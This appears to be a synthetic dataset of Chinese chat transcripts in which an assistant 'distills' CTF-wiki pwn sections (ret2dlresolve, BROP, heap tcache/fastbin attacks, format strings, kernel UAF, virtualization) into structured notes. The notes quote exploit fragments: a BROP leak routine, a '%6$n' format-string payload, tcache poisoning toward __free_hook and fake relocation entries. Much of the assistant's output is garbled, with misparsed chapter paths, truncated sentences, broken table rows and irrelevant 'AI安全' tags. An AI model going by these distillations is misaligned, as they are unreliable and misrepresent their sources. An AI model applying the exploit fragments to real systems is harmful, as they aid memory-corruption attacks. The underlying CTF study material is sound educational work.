[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：gdb.attach(io) > 总结
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“总结”展开。
- | 总的来说，与 ret2dlresolve 攻击最为相关的一些动态节为 - DT_JMPREL - DT_SYMTAB - DT_STRTAB - DT_VERSYM
- | | 修改 dynamic 节的内容 | 修改重定位表项的位置 | 伪造 linkmap | | ------------ | --------------------- | ------------------------------------------------------------ | ---------------------------------------------------- | | 主要前提要求 | 无 | 无 | 无信息泄漏时需要 libc | | 适用情况 | NO REL...
- 确保重定位表项、符号表、字符串表一一对应 | 确保重定位位置可写；

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

总结

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「识别brop gadgets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 识别brop gadgets
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“识别brop gadgets”展开。
- 下面，我们根据上面介绍的原理来得到对应的brop gadgets地址。
- ``python def get_brop_gadget(length, stop_gadget, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?
- 构造如下，get_brop_gadget是为了得到可能的brop gadget，后面的check_brop_gadget是为了检查。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:python

代码/命令片段线索：
- python: 42 行，首行 `def get_brop_gadget(length, stop_gadget, addr):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

识别brop gadgets

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:python

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「2018-安恒杯-babypie」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：DEBUG("b *0x4006B9\nc") > 栈上的 partial overwrite > 2018-安恒杯-babypie
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“2018-安恒杯-babypie”展开。
- 以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 ctf-challenge 中

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2018-安恒杯-babypie

DEBUG("b *0x4006B9\nc")
栈上的 partial overwrite
2018-安恒杯-babypie

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「虚拟机内存访问原理及遇到的问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`
标题：内存虚拟化
章节：内存虚拟化 > 纯软件实现内存虚拟化 > 虚拟机内存访问原理及遇到的问题
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“虚拟机内存访问原理及遇到的问题”展开。
- > 在 QEMU 当中访问内存的核心函数是 address_space_rw()，实现了 GPA->HVA`，感兴趣的同学可以看一下其内部实现。
- 为了实现内存空间的隔离，Hypervisor 需要为 Guest VM 准备一层新的地址空间：Guest Physical Address Space，从 Guest 侧其只能看到这一层地址空间，Hypervisor 需要记录从 GPA 到 HVA 之间的转换关系。
- GPA 在 Qemu 的实现当中实际上是对应映射到 Host 中一大块 mmap 的内存上的，所以我们还需要将 GPA 再转换为 Host Virtual Address（HVA）。
- 最后再通过 Host 上的页表将 HVA 转化为 Host Physical Address（HPA）。
- 在 Guest 多级页表的寻址当中同样也要多次经过 GPA->HPA 的转换查询过程。

关键术语：
- pwn
- virtualization
- basic-knowledge
- mem-virtualization.md

代码/命令片段线索：
- plain: 25 行，首行 `Guest' processes`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

虚拟机内存访问原理及遇到的问题

内存虚拟化 纯软件实现内存虚拟化 虚拟机内存访问原理及遇到的问题

pwn virtualization basic-knowledge mem-virtualization.md

内存虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「泄漏 libc 地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > 泄漏 libc 地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“泄漏 libc 地址”展开。
- 因而，只要 unsorted bin 的地址的起始字节不是 \x00 便可以通过验证。
- 同时，我们可以构造 \x00 来进行比较，从而通过验证。
- 具体如下 ``python def leak_libc(): smallbin_sentence = 's' * 0x85 + ' m ' index_sentence(smallbin_sentence) search_word('m') p.recvuntil('Delete this sentence (y/n)?
- \n') p.sendline('y') search_word('\x00') p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ') unsortedbin_addr = u64(p.recv(8)) p.recvuntil('Delete this sentence (y/n)?
- \n') p.sendline('n') return unsortedbin_addr ``

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 12 行，首行 `def leak_libc():`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄漏 libc 地址

Fastbin Attack
2015 9447 CTF : Search Engine
利用
泄漏 libc 地址

堆 漏洞利用 pwn linux user-mode heap code:python

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「利用内存溢出触发 OOM Killer 提供 root shell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`
标题：利用内存溢出触发 OOM Killer 提供 root shell
章节：利用内存溢出触发 OOM Killer 提供 root shell
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“利用内存溢出触发 OOM Killer 提供 root shell”展开。
- 在以前文为例的 CTF kernel pwn 环境当中，我们通常主要关注如下三个进程： rcS 、 sh 、 exploit，当这三个进程都被 Kill 掉会发生什么？
- 而此前绝大部分 Linux kernel pwn 环境的配置通常都直接或间接地遵循了 BusyBox 官方给出的示例规范，其中对于 /etc/inittab 给出的 示例 以及在 不存在该文件时的默认行为 如下： ```
- 在 Linux 系统当中对于进程所能分配的内存通常会有一定的限制，但对于 CTF 环境而言其虚拟机本身的内存大小通常较小（如 128MB），因此用户进程所能够分配的内存可以很容易达到系统物理内存上限，从而唤醒 OOM Killer 杀死进程。
- 我们可以通过 procfs 接口中的 /proc/[pid]/oom_score 查看一个进程当前的 OOM Score。
- 需要注意的是在一次唤醒当中 OOM Killer 可能会杀死多个进程，因为单次回收的内存未必能够满足最初的内存分配需求，原因包括内存碎片化、单个进程内存回收量不足以满足需求等。

关键术语：
- 边界/溢出
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用内存溢出触发 OOM Killer 提供 root shell

边界/溢出 漏洞利用 pwn linux kernel-mode exploitation

利用内存溢出触发 OOM Killer 提供 root shell


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「IO 虚拟化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 现实的外设资源往往是有限的，同时我们有的时候并不需要让 VM 直接接触到现实存在的外设资源，有的时候我们还想为 VM 提供一些不存在实体设备的设备，因此 Hypervisor 需要通过 IO 虚拟化的方式来为 VM 提供虚拟的设备资源。
- I/O 虚拟化需要实现以下三个任务： - 访问截获：Hypervisor 需要截获 VM 对外设的访问操作。
- 提供设备接口：Hypervisor 需要为 VM 提供虚拟/直通设备的接口。
- 实现设备功能：Hypervisor 需要实现虚拟设备的功能。
- 从处理器的角度而言，我们与外设之间的交互主要是通过 MMIO 与 Port IO 来完成的，因而针对外设的虚拟化称之为 I/O 虚拟化。

关键术语：
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IO 虚拟化

pwn virtualization basic-knowledge io-virtualization.md

IO 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「下载 BusyBox 源码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`
标题：搭建内核运行环境
章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 下载编译 busybox > 下载 BusyBox 源码
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“下载 BusyBox 源码”展开。
- 我们首先在 busybox.net 下载自己想要的版本，笔者这里选用 1.36.0 版本： ``shell $ wget https://busybox.net/downloads/busybox-1.36.0.tar.bz2 ` 完成后进行解压： `shell $ tar -jxvf busybox-1.36.0.tar.bz2 ``

关键术语：
- pwn
- linux
- kernel-mode
- environment
- code:shell

代码/命令片段线索：
- shell: 1 行，首行 `$ wget https://busybox.net/downloads/busybox-1.36.0.tar.bz2`
- shell: 1 行，首行 `$ tar -jxvf busybox-1.36.0.tar.bz2`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

下载 BusyBox 源码

搭建内核运行环境
使用 BusyBox 搭建基本的文件系统
下载编译 busybox
下载 BusyBox 源码

pwn linux kernel-mode environment code:shell

搭建内核运行环境


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「64 位的变化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：read /bin/sh\x00 > Partial RELRO > 手工伪造 > 64 位的变化
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“64 位的变化”展开。
- CODE XREF: main+B3↓p .plt:0000000000400510 jmp cs:off_601018 .plt:0000000000400510 _write endp .plt:0000000000400510 .plt:0000000000400516 ;
- 根据 IDA 里的重定位表的信息可以知道，write 函数在符号表中的偏移为 1（0x100000007h>>32） 。
- glibc 中默认编译使用的是 ELF_Rela 来记录重定位项的内容 ``c typedef struct { Elf64_Addr r_offset;
- R_X86_64_JUMP_SLOT read LOAD:00000000004004D0 LOAD ends ` 确实在符号表中的偏移为 1。
- ` 在 64 位下，Elf64_Sym 结构体为 `c typedef struct { Elf64_Word st_name;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:c
- code:assembly
- code:shell

代码/命令片段线索：
- c: 10 行，首行 `typedef struct`
- assembly: 6 行，首行 `LOAD:0000000000400488 ; ELF JMPREL Relocation Table`
- shell: 7 行，首行 `LOAD:00000000004002C0 ; ELF Symbol Table`
- c: 9 行，首行 `typedef struct`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

64 位的变化

read /bin/sh\x00
Partial RELRO
手工伪造
64 位的变化

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:c code:assembly code:shell

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「功能分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb > 功能分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“功能分析”展开。
- } ` 主要使用了二叉树的结构来存储数据，具体存储过程其实并不影响利用。
- // <--- 漏洞所在，此时 v3 作为索引，指向了下一个位置，如果位置全部使用完毕则会指向下一个本应该不可写位置 } v3 = 0;
- } ` 几个主要功能： ` unsigned __int64 main_fn() { char v1[8];
- 功能函数需要注意的是 getline (自己实现的单行读取函数): ` char __fastcall getline(__int64 a1, __int64 a2) { char v2;
- off by one （NULL 字节溢出） return v2;

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 9 行，首行 `struct Node {`
- plain: 38 行，首行 `char *__fastcall getline(__int64 a1, __int64 a2)`
- plain: 31 行，首行 `unsigned __int64 main_fn()`
- plain: 53 行，首行 `__int64 __fastcall cmd_put()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

功能分析

vim:fenc=utf-8
实例 2 : plaidctf 2015 plaiddb
功能分析

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「修改ebp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 修改ebp
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“修改ebp”展开。
- 上面已经得知了我们希望修改的 ebp 值，而也知道了对应的偏移为 6，所以我们可以构造如下的 payload 来进行修改相应的值。
- `` part1 = (heap_addr - 4) / 2 part2 = heap_addr - 4 - part1 payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n' ``
- 由于我们需要执行 move 指令将 ebp 赋给 esp，并还需要执行 pop ebp 才会执行 ret 指令，所以我们需要将 ebp 修改为存储 system 地址 -4 的值。
- 这样 pop ebp 之后，esp 恰好指向保存 system 的地址，这时在执行 ret 指令即可执行 system 函数。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

代码/命令片段线索：
- plain: 3 行，首行 `part1 = (heap_addr - 4) / 2`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

修改ebp

例子 堆上的格式化字符串漏洞 例子 修改ebp

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「stashed」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：53,54,60,62,63,64,65 > stashed
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stashed”展开。
- add(0x28,'\x10') # 54->67 add(0x28,'a' 0x20 + p64(0x240)) # 60->68 delete(61) `` 就是这样，先把 Tcache 填满，然后依次 free chunk B C A，再把 Tcache 清空，然后申请回 chunk A，部分覆写，使 fd 指向 fake_chunk。
- `` add(0x28,p64(0) 2) # 69<-56 add(0x28,p64(0) 2) # 70<-57 add(0x28,p64(0) 2) # 71<-58 delete(68) add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68 add(0x28,'pass') # 72
- 然后由于 Tcache 的 stash 机制，chunk B C 进入 Tcache，再申请回来的就是 chunk B，部分覆写使 fd 指向 fake_chunk。
- 然后申请回 chunk C，进行 off-by-null。
- free chunk D，成功实现 chunk overlapping。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 5 行，首行 `就是这样，先把 Tcache 填满，然后依次 free chunk B C A，再把 Tcache 清空，然后申请回 chunk A，部分覆写，使 fd 指向 fake_chunk。`
- plain: 1 行，首行 `然后进行 Tcache poisoning（这里我被卡了一小会，主要原因是一直想着通过 double free 来实现，这种想法确实挺蠢的，需要注意，Tcache poisoning 的利用只需要控制 next 指针就可以了，doub...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stashed

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「利用步骤」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 利用步骤
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“利用步骤”展开。
- ret #magic_gadget = libc_base + libc.sym['setcontext']+53 # add rsp, 0x48 ;

关键术语：
- UAF
- 堆
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用步骤

from pwn import *
Challenge 4 : HITCON 2019 one_punch_man
利用步骤

UAF 堆 ROP/JOP 漏洞利用 pwn linux user-mode heap

tcache makes heap exploitation easy again


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「2015-hitcon-readable」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：send linkmap > 2015-hitcon-readable
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“2015-hitcon-readable”展开。
- 但是，与 2015-xdctf-pwn200 不同，这里栈溢出只能越界读取 16 个字节，而上述例子中所使用的的 ret2csu 则需要大量的字节。
- 检查一下文件权限，可以发现，该可执行文件只开启了 NX 保护 ``bash ❯ checksec readable [*] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-hitcon-quals-readable/readable' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) `...
- 我们来仔细分析下目前的情况，即我们可以越界控制 rbp、返回地址。
- fd .text:0000000000400516 mov eax, 0 .text:000000000040051B call _read .text:0000000000400520 leave .text:0000000000400521 retn ` 那如果我们控制 rbp 为写的地址加上 0x10，即 targetaddr+0x10，然后再跳转到 0x400505，即栈的结构为 ` return_addr -> 0x400505 rbp -> target addr + 0x10 fake buf...
- 通过不断地这样操作，我们就可以不断地读取 16 个字节，从而达到读取任意长字节的目的。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:bash

代码/命令片段线索：
- bash: 7 行，首行 `❯ checksec readable`
- plain: 8 行，首行 `.text:0000000000400505 lea rax, [rbp-10h]`
- plain: 3 行，首行 `return_addr -> 0x400505`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2015-hitcon-readable

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:bash

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「泄露puts@got地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 泄露puts@got地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“泄露puts@got地址”展开。
- 之后利用ida打开binary模式，首先在edit->segments->rebase program 将程序的基地址改为0x400000，然后找到偏移0x560处，如下 `asm seg000:0000000000400560 db 0FFh seg000:0000000000400561 db 25h ;
- 代码如下 ``python def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = remote('127.0.0.1', 9999) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?
- 在我们可以调用puts函数后，我们可以泄露puts函数的地址，进而获取libc版本，从而获取相关的system函数地址与/bin/sh地址，从而获取shell。
- 需要注意的是如果泄露出来的是“”,那说明我们遇到了'\x00'，因为puts是输出字符串，字符串是以'\x00'为终止符的。
- seg000:0000000000400563 db 0Ah seg000:0000000000400564 db 20h seg000:0000000000400565 db 0 ` 然后按下c,将此处的数据转换为汇编指令，如下 `asm seg000:0000000000400560 ;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:python
- code:asm

代码/命令片段线索：
- python: 40 行，首行 `def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):`
- asm: 6 行，首行 `seg000:0000000000400560 db 0FFh`
- asm: 6 行，首行 `seg000:0000000000400560 ; ---------------------------------------------------------------------------`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄露puts@got地址

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:python code:asm

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`
标题：kernel UAF
章节：kernel UAF > 例题：CISCN2017 - babydriver > 思路
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“思路”展开。
- 那么我们不难想到的是我们可以通过 UAF 劫持 `/dev/ptmx` 这个设备的 `tty_struct` 结构体与其内部的 `tty_operations` 函数表，那么在我们对这个设备进行相应操作（如write、ioctl）时便会执行我们布置好的恶意函数指针。
- 由于没有开启SMAP保护，故我们可以在用户态进程的栈上布置ROP链与 `fake tty_operations` 结构体。
- 内核中没有类似 `one_gadget` 一类的东西，因此为了完成ROP我们还需要进行一次栈迁移 使用gdb进行调试，观察内核在调用我们的恶意函数指针时各寄存器的值，我们在这里选择劫持 `tty_operaionts` 结构体到用户态的栈上，并选择任意一条内核gadget作为fake tty函数指针以方便下断点： [图片: image.png;
- 而`tty_operations``结构体开头到其write指针间的空间较小，因此我们还需要进行二次栈迁移，这里随便选一条改rax的gadget即可： [图片: image.png;
- 没有用户态传统的溢出等漏洞，但存在一个伪条件竞争引发的 UAF 漏洞： - 如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev\_struct 是全局的。

关键术语：
- UAF
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

思路

UAF 边界/溢出 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation

kernel UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make fake write relocation at base_stage+24」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：make fake write relocation at base_stage+24
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“make fake write relocation at base_stage+24”展开。
- index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info])

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
